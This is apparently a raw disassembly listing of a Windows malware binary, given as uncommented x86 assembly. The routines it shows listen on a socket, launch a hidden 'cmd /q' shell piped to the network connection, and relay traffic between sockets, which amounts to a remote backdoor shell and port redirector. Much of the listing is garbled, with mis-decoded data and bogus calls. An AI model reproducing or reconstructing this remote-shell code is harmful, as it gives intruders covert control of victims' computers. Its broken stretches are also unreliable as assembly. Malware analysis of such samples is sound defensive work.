call sub_40B287 add esp, 10h push edi call near ptr 0B10000h loc_410B7E: ; CODE XREF: seg000:00410A14p ; seg000:00410A21p ... mov ch, 55h mov ebp, esp push esi mov esi, [ebp+0Ch] loc_410B86: ; CODE XREF: seg000:00410BA9j push 0 lea eax, [ebp+0Fh] push 1 push eax push dword ptr [ebp+8] call ds:dword_4CDC10 ; recv cmp eax, 1 jnz short loc_410BBC mov al, [ebp+0Fh] mov [esi], al inc esi dec dword ptr [ebp+10h] jz short loc_410BB1 test al, al jnz short loc_410B86 xor eax, eax inc eax loc_410BAE: ; CODE XREF: seg000:00410BBEj pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_410BB1: ; CODE XREF: seg000:00410BA5j push offset unk_436DD4 call sub_415322 pop ecx loc_410BBC: ; CODE XREF: seg000:00410B9Aj xor eax, eax jmp short loc_410BAE ; =============== S U B R O U T I N E ======================================= sub_410BC0 proc near ; CODE XREF: seg000:00410ADDp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_410BEB push [esp+arg_4] push [esp+4+arg_0] push offset dword_436E00 call sub_415322 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410BEB: ; CODE XREF: sub_410BC0+11j xor eax, eax inc eax retn sub_410BC0 endp ; --------------------------------------------------------------------------- byte_410BEF db 55h ; DATA XREF: seg000:00403E21o dd 0EC81EC8Bh, 5A4h, 5608458Bh, 59786A57h, 0BD8DF08Bh dd 0FFFFFDECh, 0FF33A5F3h, 0DCB88947h, 8D000001h, 0FFFA5C85h dd 26850FFh, 0FF000002h, 4CDB6815h, 3BF63300h, 501D74C6h dd 436F7468h, 46ECE800h, 75FF0000h, 0A649E8B4h, 0C483FFFFh dd 0B9E8570Ch, 89006FF3h, 0E6C6857h, 0ADE80041h, 84006FF3h dd 2975C085h, 808C15FFh, 68500042h, 436F30h, 46B9E8h, 0FF595900h dd 4CDB5015h, 0B475FF00h, 0FFA60EE8h, 0E85759FFh, 6FF380h dd 106A53B2h, 56E0458Dh, 0AAF2E850h, 0C4830000h, 45C7660Ch dd 0FF0002E0h, 15FFB075h, 4CDBF8h, 6A57066Ah, 45896602h dd 0E47589E2h, 0DC7815FFh, 0D88B004Ch, 0FFFFB83h, 13A84h dd 0B4458B00h, 0C069106Ah, 234h, 0B449889h, 458D0044h dd 0FF5350E0h, 4CDC2415h, 0FC08500h, 11685h, 0FFFF6800h dd 0FF537FFFh, 4CDC2015h, 0FC08500h, 10285h, 6EF46800h dd 45C70043h, 0CF0h, 0F4758900h, 0E8F87589h, 45A2h, 87D8959h dd 0C7FC458Dh, 10FC45h, 8D500000h, 5350CC45h, 0DC8C15FFh dd 0F88B004Ch, 0FFFFF83h, 0C984h, 875FF00h, 5008458Dh dd 0FF68086Ah, 570000FFh, 0DBD815FFh, 0F883004Ch, 0FC574FFh dd 0FFCE45B7h, 7589B475h, 75FF50C8h, 8415FFD0h, 50004CDCh dd 0FBEC858Dh, 0B068FFFFh, 5000436Eh, 0AD05E8h, 0EC858D00h dd 50FFFFFBh, 4531E8h, 858D5700h, 0FFFFFBECh, 0E850096Ah dd 0FFFFA1E5h, 69B84589h, 234C0h, 0B44D8B00h, 8924C483h dd 440B3C88h, 0DC458D00h, 0EC858D50h, 56FFFFFDh, 97A6850h dd 458D0041h, 0FF5056F0h, 42807C15h, 0B84D8B00h, 234C969h dd 0C63B0000h, 0B4C8189h, 1D750044h, 808C15FFh, 68500042h dd 436E70h, 4541E8h, 0EB595900h, 0FF326A15h, 42806415h dd 0C8753900h, 19E9F374h, 8BFFFFFFh, 15FF087Dh, 4CDB8Ch dd 0EC858D50h, 68FFFFFBh, 436E38h, 0AC64E850h, 0C4830000h dd 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh, 0F0858D50h dd 50FFFFFDh, 0FDECB5FFh, 2FE8FFFFh, 83FFFF8Bh, 858D14C4h dd 0FFFFFBECh, 4468E850h, 57590000h, 0DC9015FFh, 0FF53004Ch dd 4CDC9015h, 5015FF00h, 0FF004CDBh, 24E8B475h, 59FFFFA4h dd 0F196E856h, 5B69006Fh, 4439C033h, 940F0424h db 0C0h, 0C3h ; --------------------------------------------------------------------------- loc_410E76: ; CODE XREF: seg000:00410B29p push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+8] push edi call sub_410FCB imul edi, 234h mov esi, eax xor ebx, ebx mov eax, ds:dword_440B44[edi] mov dword ptr [ebp-0Ch], 0Ch mov [ebp-8], ebx mov [ebp-4], ebx mov [esi+0Ch], eax mov edi, ds:dword_42807C pop ecx lea eax, [ebp+8] push eax push ebx push esi push offset sub_41119D lea eax, [ebp-0Ch] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_410EE5 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436FD8 call sub_415322 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx xor eax, eax jmp loc_410FC5 ; --------------------------------------------------------------------------- loc_410EE5: ; CODE XREF: seg000:00410EC6j lea eax, [ebp+8] push eax push ebx push esi push offset sub_41123B lea eax, [ebp-0Ch] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_410F26 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436FD8 call sub_415322 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 0B10000h ja short loc_410F53 shr cl, 0A0h ; --------------------------------------------------------------------------- db 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_410F26: ; CODE XREF: seg000:00410EFCj mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp-18h], eax mov eax, [esi+14h] mov [ebp-14h], eax mov eax, [esi+8] mov [ebp-10h], eax lea eax, [ebp-18h] push ebx push eax push 3 call near ptr 0B10000h xchg ebp, [ebx] retn ; --------------------------------------------------------------------------- db 74h, 35h, 48h dd 74482C74h db 15h, 0FFh, 15h ; --------------------------------------------------------------------------- loc_410F53: ; CODE XREF: seg000:00410F1Ej mov word ptr [eax+68500042h], es mov al, ds:0E800436Fh rol byte ptr [ebx+0], 0 pop ecx pop ecx jmp short loc_410F95 ; --------------------------------------------------------------------------- mov edi, ds:dword_4280AC push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_410F95 ; --------------------------------------------------------------------------- push ebx push dword ptr [esi+10h] jmp short loc_410F84 ; --------------------------------------------------------------------------- push ebx push dword ptr [esi+14h] loc_410F84: ; CODE XREF: seg000:00410F7Ej call near ptr 0B10000h jp short near ptr loc_410FF4+1 add edi, edi jbe short near ptr loc_410F95+2 call near ptr 0B10000h push es loc_410F95: ; CODE XREF: seg000:00410F64j ; seg000:00410F78j ... push dword ptr [esi+10h] mov edi, ds:dword_42806C call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call ds:dword_4CDC90 ; closesocket push esi call sub_41B2A1 xor eax, eax inc eax loc_410FC5: ; CODE XREF: seg000:00410EE0j pop ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FCB proc near ; CODE XREF: seg000:00410E83p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B6C5 mov esi, eax pop ecx cmp esi, edi jz loc_4110B5 mov ebx, ds:dword_428100 loc_410FF4: ; CODE XREF: seg000:00410F89j lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, ds:dword_42806C test eax, eax jnz short loc_41102E call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_437088 jmp short loc_41104E ; --------------------------------------------------------------------------- loc_41102E: ; CODE XREF: sub_410FCB+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_411056 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_437048 loc_41104E: ; CODE XREF: sub_410FCB+61j call sub_415322 pop ecx jmp short loc_411084 ; --------------------------------------------------------------------------- loc_411056: ; CODE XREF: sub_410FCB+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call loc_4110C4 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_4110B9 push offset unk_437020 call sub_4152AE loc_411084: ; CODE XREF: sub_410FCB+89j cmp [ebp+var_4], 0 pop ecx jz short loc_411090 push [ebp+var_4] call edi ; CloseHandle loc_411090: ; CODE XREF: sub_410FCB+BEj cmp [ebp+var_8], 0 jz short loc_41109B push [ebp+var_8] call edi ; CloseHandle loc_41109B: ; CODE XREF: sub_410FCB+C9j mov eax, [esi] test eax, eax jz short loc_4110A4 push eax call edi ; CloseHandle loc_4110A4: ; CODE XREF: sub_410FCB+D4j mov eax, [esi+4] test eax, eax jz short loc_4110AE push eax call edi ; CloseHandle loc_4110AE: ; CODE XREF: sub_410FCB+DEj push esi call sub_41B2A1 pop ecx loc_4110B5: ; CODE XREF: sub_410FCB+1Dj xor eax, eax jmp short loc_4110BF ; --------------------------------------------------------------------------- loc_4110B9: ; CODE XREF: sub_410FCB+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_4110BF: ; CODE XREF: sub_410FCB+ECj pop edi pop esi pop ebx leave retn sub_410FCB endp ; --------------------------------------------------------------------------- loc_4110C4: ; CODE XREF: sub_410FCB+94p push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp-58h] push esi push eax mov [ebp-4], esi call sub_41B780 push 10h lea eax, [ebp-14h] push esi push eax call sub_41B780 mov eax, [ebp+8] mov ebx, [ebp+0Ch] add esp, 18h mov [ebp-20h], eax lea eax, [ebp-18h] mov [ebp-58h], edi mov edi, ds:dword_4280FC push esi push 1 push 2 push eax mov [ebp-54h], esi mov [ebp-4Ch], esi mov [ebp-50h], esi mov [ebp-3Ch], esi mov [ebp-40h], esi mov [ebp-44h], esi mov [ebp-48h], esi mov [ebp-28h], si mov [ebp-24h], esi mov [ebp-26h], si mov dword ptr [ebp-2Ch], 101h mov [ebp-1Ch], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call near ptr 0B10000h push cs lea eax, [ebp-14h] push eax lea eax, [ebp-58h] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 0B10000h mov bh, 85h sal byte ptr [eax-75h], 45h adc [ebx-3F960BB3h], cl xor al, 2 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- push dword ptr [ebp-10h] mov esi, [ebp-14h] mov ds:dword_440B40[eax], ecx call ds:dword_42806C ; CloseHandle jmp short loc_411196 ; --------------------------------------------------------------------------- call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_4370C8 call sub_415322 mov esi, [ebp-4] pop ecx pop ecx loc_411196: ; CODE XREF: seg000:0041117Ej mov eax, esi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41119D proc near ; DATA XREF: seg000:00410EB5o var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx mov ebx, ds:dword_4280E8 push esi push edi mov edi, [ebp+arg_0] jmp short loc_411200 ; --------------------------------------------------------------------------- loc_4111B4: ; CODE XREF: sub_41119D+7Bj xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_4111E9 loc_4111BF: ; CODE XREF: sub_41119D+4Aj mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_4111D9 cmp dl, 0Dh jz short loc_4111D9 mov [ebp+eax+var_1B0], 0Dh inc eax loc_4111D9: ; CODE XREF: sub_41119D+2Cj ; sub_41119D+31j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_4111BF loc_4111E9: ; CODE XREF: sub_41119D+20j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call ds:dword_4CDC48 ; send test eax, eax jle short loc_41121A loc_411200: ; CODE XREF: sub_41119D+15j lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] call ebx ; ReadFile test eax, eax jnz short loc_4111B4 loc_41121A: ; CODE XREF: sub_41119D+61j mov esi, ds:dword_42808C call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_411236 call esi ; RtlGetLastWin32Error push eax push offset unk_437108 call sub_415322 pop ecx pop ecx loc_411236: ; CODE XREF: sub_41119D+88j pop edi pop esi pop ebx leave retn sub_41119D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41123B proc near ; DATA XREF: seg000:00410EEBo var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 arg_333474B8 = dword ptr 333474C0h push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx jmp loc_411334 ; --------------------------------------------------------------------------- loc_411256: ; CODE XREF: sub_41123B+10Ej cmp [ebp+var_10], ebx jbe short loc_411263 dec [ebp+var_10] jmp loc_411337 ; --------------------------------------------------------------------------- loc_411263: ; CODE XREF: sub_41123B+1Ej mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz near ptr loc_41131E+1 cmp al, 8 mov [ebp+var_C], ebx jz short loc_4112D3 cmp al, 7Fh jz short loc_4112D3 cmp al, 3 jnz short loc_41128E push ebx push ebx call near ptr 0B10000h inc edi jmp short loc_4112FA ; --------------------------------------------------------------------------- loc_41128E: ; CODE XREF: sub_41123B+47j cmp al, 15h jnz short loc_4112B0 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_4112E6 ; --------------------------------------------------------------------------- loc_4112B0: ; CODE XREF: sub_41123B+55j xor ecx, ecx mov [ebp+esi+var_DC], al inc esi inc ecx cmp al, 0Dh mov [ebp+var_8], al jnz short loc_4112E7 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_4112E6 ; --------------------------------------------------------------------------- loc_4112D3: ; CODE XREF: sub_41123B+3Fj ; sub_41123B+43j cmp esi, ebx jbe short loc_4112FD dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_4112E6: ; CODE XREF: sub_41123B+73j ; sub_41123B+96j pop ecx loc_4112E7: ; CODE XREF: sub_41123B+85j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call ds:dword_4CDC48 ; send test eax, eax jle short loc_41134F loc_4112FA: ; CODE XREF: sub_41123B+51j mov al, byte ptr [ebp+arg_0+3] loc_4112FD: ; CODE XREF: sub_41123B+9Aj cmp al, 0Dh jnz short loc_411337 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 0B10000h rol [ebp+arg_333474B8], 1 imul bl loc_41131E: ; CODE XREF: sub_41123B+34j sbb [ecx], bh pop ebp hlt ; --------------------------------------------------------------------------- jnz short loc_41132D mov [ebp+var_C], 1 jmp short loc_411337 ; --------------------------------------------------------------------------- loc_41132D: ; CODE XREF: sub_41123B+E7j mov [ebp+var_10], 0Ah loc_411334: ; CODE XREF: sub_41123B+16j mov [ebp+var_C], ebx loc_411337: ; CODE XREF: sub_41123B+23j ; sub_41123B+C4j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call ds:dword_4CDC10 ; recv test eax, eax jg loc_411256 loc_41134F: ; CODE XREF: sub_41123B+BDj pop edi pop esi pop ebx leave retn sub_41123B endp ; --------------------------------------------------------------------------- loc_411354: ; DATA XREF: seg000:0040470Co push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+8] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp-0D4h] push 2Ch mov [ebp-4], ebx pop ecx rep movsd xor edi, edi xor esi, esi inc edi push ebx mov [eax+0A8h], edi lea eax, [ebp-14h] push esi push eax call sub_41B780 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-40h] call ds:dword_4CDBF8 ; htons push 6 push edi push 2 mov [ebp-12h], ax mov [ebp-10h], esi call ds:dword_4CDC78 ; socket mov edi, eax mov eax, [ebp-3Ch] imul eax, 234h push ebx mov ds:dword_440B44[eax], edi lea eax, [ebp-14h] push eax push edi call ds:dword_4CDC24 ; bind test eax, eax jnz loc_4114F5 push 0Ah push edi call ds:dword_4CDC20 ; listen test eax, eax jnz loc_4114F5 push dword ptr [ebp-40h] push dword ptr [ebp-0D4h] call sub_40AAF8 pop ecx push eax lea eax, [ebp-2D4h] push offset dword_42CF70 push eax call sub_41BA76 add esp, 10h cmp [ebp-30h], esi jnz short loc_41142F push esi lea eax, [ebp-2D4h] push dword ptr [ebp-34h] push eax lea eax, [ebp-0D0h] push eax push dword ptr [ebp-0D4h] call sub_409966 add esp, 14h loc_41142F: ; CODE XREF: seg000:0041140Dj ; seg000:004114DEj ... lea eax, [ebp-2D4h] push eax call sub_4152AE pop ecx lea eax, [ebp-4] push eax lea eax, [ebp-24h] push eax push edi call ds:dword_4CDC8C ; accept push dword ptr [ebp-3Ch] mov ebx, eax movzx eax, word ptr [ebp-22h] push eax mov [ebp-28h], esi push dword ptr [ebp-20h] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp-2D4h] push offset dword_4371B8 push eax call sub_41BA76 push ebx lea eax, [ebp-2D4h] push 19h push eax call sub_40AF71 mov [ebp-38h], eax imul eax, 234h mov ecx, [ebp-3Ch] add esp, 20h mov ds:dword_440B3C[eax], ecx lea eax, [ebp+8] push eax lea eax, [ebp-0D4h] push esi push eax push offset loc_411558 push esi push esi call ds:dword_42807C ; CreateThread mov ecx, [ebp-38h] imul ecx, 234h cmp eax, esi mov ds:dword_440B4C[ecx], eax jnz short loc_4114EB call ds:dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp-2D4h] push offset dword_437178 push eax call sub_41BA76 add esp, 0Ch jmp loc_41142F ; --------------------------------------------------------------------------- loc_4114E3: ; CODE XREF: seg000:004114EEj push 5 call ds:dword_428064 ; Sleep loc_4114EB: ; CODE XREF: seg000:004114C1j cmp [ebp-28h], esi jz short loc_4114E3 jmp loc_41142F ; --------------------------------------------------------------------------- loc_4114F5: ; CODE XREF: seg000:004113CFj ; seg000:004113E0j push edi call ds:dword_4CDC90 ; closesocket push dword ptr [ebp-40h] lea eax, [ebp-2D4h] push offset dword_437144 push eax call sub_41BA76 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_411538 push esi lea eax, [ebp-2D4h] push dword ptr [ebp-34h] push eax lea eax, [ebp-0D0h] push eax push dword ptr [ebp-0D4h] call sub_409966 add esp, 14h loc_411538: ; CODE XREF: seg000:00411516j lea eax, [ebp-2D4h] push eax call sub_4152AE push dword ptr [ebp-3Ch] call sub_40B287 pop ecx pop ecx push esi call near ptr 0B10000h nop pop edi pop esi pop ebx loc_411558: ; DATA XREF: seg000:004114A3o push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+8] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp-0C8h] rep movsd mov esi, [ebp-2Ch] xor edi, edi mov [ebp+8], esi imul esi, 234h inc edi lea esi, dword_440B44[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov dword ptr [ebp-8], 5 mov [ebp-5D0h], eax lea eax, [ebp-8] push eax push ebx lea eax, [ebp-5D4h] push ebx push eax push ebx mov [ebp-4], ebx mov [ebp-5D4h], edi call ds:dword_4CDBE0 ; select test eax, eax jnz short near ptr loc_4115D8+1 push dword ptr [esi] call ds:dword_4CDC90 ; closesocket push dword ptr [ebp+8] call sub_40B287 pop ecx push ebx call near ptr 0B10000h loc_4115D8: ; CODE XREF: seg000:004115BFj fst qword ptr [ebx-73h] test [eax], esi sti ; --------------------------------------------------------------------------- dw 0FFFFh dd 40868h, 36FF5000h, 0DC1015FFh, 0C085004Ch, 36FF187Fh dd 0DC9015FFh, 75FF004Ch, 9C85E808h, 5359FFFFh, 6FE9F7E8h dd 0BD80D900h, 0FFFFFB30h, 0ED850F04h, 80000001h, 0FFFB31BDh dd 850F01FFh, 1E0h, 74BC5D38h, 0BC458D77h, 38858D50h, 50FFFFFBh dd 0AC27E8h, 0C0855900h, 8D617459h, 8D50BC45h, 0FFFB3885h dd 846850FFh, 0E8004372h, 3CCEh, 40068h, 38858D00h, 53FFFFFBh dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 0DE85DFFh, 830000A1h dd 858D18C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh, 4CDC48h dd 15FF36FFh, 4CDC90h, 0E80875FFh, 0FFFF9BEFh, 61E85359h dd 46006FE9h, 458D106Ah, 0E85053E8h, 0A0D4h, 32858B66h dd 83FFFFFBh, 89660CC4h, 858BEA45h, 0FFFFFB34h, 6A57066Ah dd 45C76602h, 890002E8h, 15FFEC45h, 4CDC78h, 0FF83F88Bh dd 0FF5D75FFh, 4CDB8C15h, 44685000h, 0E8004372h, 3C36h dd 40068h, 38858D00h, 53FFFFFBh, 309D8850h, 0C6FFFFFBh dd 0FFFB3185h, 75E85BFFh, 830000A0h, 858D14C4h, 0FFFFFB30h dd 50086A53h, 15FF36FFh, 4CDC48h, 15FF36FFh, 4CDC90h, 0E80875FFh dd 0FFFF9B57h, 0C9E85359h, 0A0006FE8h, 6AE8458Dh, 0FF575010h dd 4CDBA015h, 0FFF88300h, 15FF5D75h, 4CDB8Ch, 72006850h dd 0C7E80043h, 6800003Bh, 400h, 0FB38858Dh, 5053FFFFh dd 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A006E85Bh, 0C4830000h dd 30858D14h, 53FFFFFBh, 0FF50086Ah, 4815FF36h, 0FF004CDCh dd 9015FF36h, 0FF004CDCh, 0E8E80875h, 59FFFF9Ah, 0E85AE853h dd 687B006Fh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 9FBAE85Ah, 0C4830000h, 30858D0Ch dd 53FFFFFBh, 0FF50086Ah, 4815FF36h, 0FF004CDCh, 39E85736h dd 59000000h, 15FF5759h, 4CDC90h, 15FF36FFh, 4CDC90h, 0E80875FFh dd 0FFFF9A8Bh, 0FDE85359h, 7C006FE7h, 15FF36FFh, 4CDC90h dd 0E80875FFh, 0FFFF9A73h, 0E5E85359h, 0CE006FE7h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_411832: ; CODE XREF: seg000:004118DAj ; seg000:0041190Aj xor ecx, ecx mov [ebp-100h], ebx inc ecx xor eax, eax mov [ebp-104h], ecx loc_411843: ; CODE XREF: seg000:00411852j mov edx, [ebp+8] cmp [ebp+eax*4-100h], edx jz short loc_411854 inc eax cmp eax, ecx jb short loc_411843 loc_411854: ; CODE XREF: seg000:0041184Dj cmp eax, ecx jnz short loc_411868 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_411868: ; CODE XREF: seg000:00411856j push esi lea eax, [ebp-504h] push edi push eax call sub_41B780 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call ds:dword_4CDBE0 ; select lea eax, [ebp-104h] push eax push ebx call ds:dword_4CDAE4 ; __WSAFDIsSet test eax, eax jz short loc_4118C8 push edi lea eax, [ebp-504h] push esi push eax push ebx call ds:dword_4CDC10 ; recv cmp eax, 0FFFFFFFFh jz short loc_411910 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call ds:dword_4CDC48 ; send cmp eax, 0FFFFFFFFh jz short loc_411910 loc_4118C8: ; CODE XREF: seg000:0041189Aj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call ds:dword_4CDAE4 ; __WSAFDIsSet test eax, eax jz loc_411832 push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call ds:dword_4CDC10 ; recv cmp eax, 0FFFFFFFFh jz short loc_411910 push edi push eax lea eax, [ebp-504h] push eax push ebx call ds:dword_4CDC48 ; send cmp eax, 0FFFFFFFFh jnz loc_411832 loc_411910: ; CODE XREF: seg000:004118AFj ; seg000:004118C6j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_411915 db 55h, 8Bh, 0ECh ; DATA XREF: seg000:00403B75o ; seg000:0040BA2Co dd 87CEC81h, 558B0000h, 33565308h, 0C03357DBh, 0A9B9h dd 8DF28B00h, 0FFFC8CBDh, 6A4053FFh, 0FFA5F302h, 0FFFE9C85h dd 89026AFFh, 4589F045h, 0F84589ECh, 2A08289h, 15FF0000h dd 4CDC78h, 0FE83F08Bh, 685675FFh, 190h, 806415FFh, 9D390042h dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD4E8FFh, 0C483FFFFh dd 88858D14h, 50FFFFF8h, 390DE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF98DBh, 0E8535959h, 6FE64Ch, 0F0458D78h, 0BF50046Ah dd 0FFFFh, 5657046Ah, 0DBD815FFh, 458D004Ch, 50046AECh dd 5657FB6Ah, 0DBD815FFh, 858B004Ch, 0FFFFFE98h, 0C069106Ah dd 234h, 44B08953h, 8D00440Bh, 0E850D445h, 9D88h, 660CC483h dd 2D445C7h, 0A0B5FF00h, 0FFFFFFFEh, 4CDBF815h, 45896600h dd 0D4458DD6h, 5650106Ah, 0FFD85D89h, 4CDC2415h, 0FFF88300h dd 88681975h, 0FF000013h, 42806415h, 9C8DFF00h, 0FFFFFFFEh dd 29E90875h, 8D000003h, 0FFFC9085h, 0A06C68FFh, 0E8500042h dd 9C62h, 59C33B59h, 75FC4589h, 190684Ch, 15FF0000h, 428064h dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 0F888858Dh, 0E850FFFFh dd 381Eh, 0FE98B5FFh, 0ECE8FFFFh, 83FFFF97h, 0E8531CC4h dd 6FE55Ch, 87D8B49h, 2A09F39h, 840F0000h, 277h, 80BFh dd 30858D00h, 57FFFFFFh, 45C75053h, 5E4h, 0E845C700h, 1388h dd 0F788B589h, 85C7FFFFh, 0FFFFF784h, 1, 9C9BE8h, 0CC48300h dd 50E4458Dh, 84858D53h, 53FFFFF7h, 15FF5350h, 4CDBE0h dd 8E0FC085h, 21Bh, 43FDB4A0h, 88CF8B00h, 0FFFA8885h, 8DC033FFh dd 0FFFA89BDh, 0F445C7FFh, 10h, 0AB66ABF3h, 0F4458DAAh dd 0C4458D50h, 858D5350h, 0FFFFFF30h, 8068h, 0FF565000h dd 4CDBD015h, 0C875FF00h, 0FFF84589h, 4CDC8415h, 458D5000h dd 1FE850B0h, 3800009Fh, 0FFFF309Dh, 0F5959FFh, 1A485h dd 31BD8000h, 1FFFFFFh, 0A3850Fh, 858D0000h, 0FFFFFD94h dd 9652E850h, 53530000h, 0E8FC75FFh, 0B885h, 8DFC75FFh dd 0FFFA8C85h, 889D88FFh, 0C6FFFFFAh, 0FFFA8985h, 6803FFh dd 6A000002h, 9D885001h, 0FFFFFA8Ah, 0FA8B85C6h, 0E801FFFFh dd 9752h, 8D20C483h, 4589C44Dh, 4C083F8h, 51F475FFh, 858D5053h dd 0FFFFFA88h, 15FF5650h, 4CDC5Ch, 0FF289D39h, 2375FFFFh dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7D66h, 8D14C483h, 0FFF88885h dd 9FE850FFh, 59000036h, 10AE9h, 31BD8000h, 4FFFFFFh, 0E7850Fh dd 8D8A0000h, 0FFFFFF33h, 0FF32858Ah, 0F980FFFFh, 889D88FFh dd 0C6FFFFFAh, 0FFFA8985h, 0C7503FFh, 0C932C0FEh, 0FA8B9D88h dd 8EBFFFFh, 8D88C1FEh, 0FFFFFA8Bh, 0FA8A8588h, 0BFFFFFh dd 0F000002h, 0B60FC0B6h, 8E0C1C9h, 0C153C103h, 0C72B09E0h dd 0FC75FF50h, 0B794E8h, 0FC75FF00h, 0FA8C858Dh, 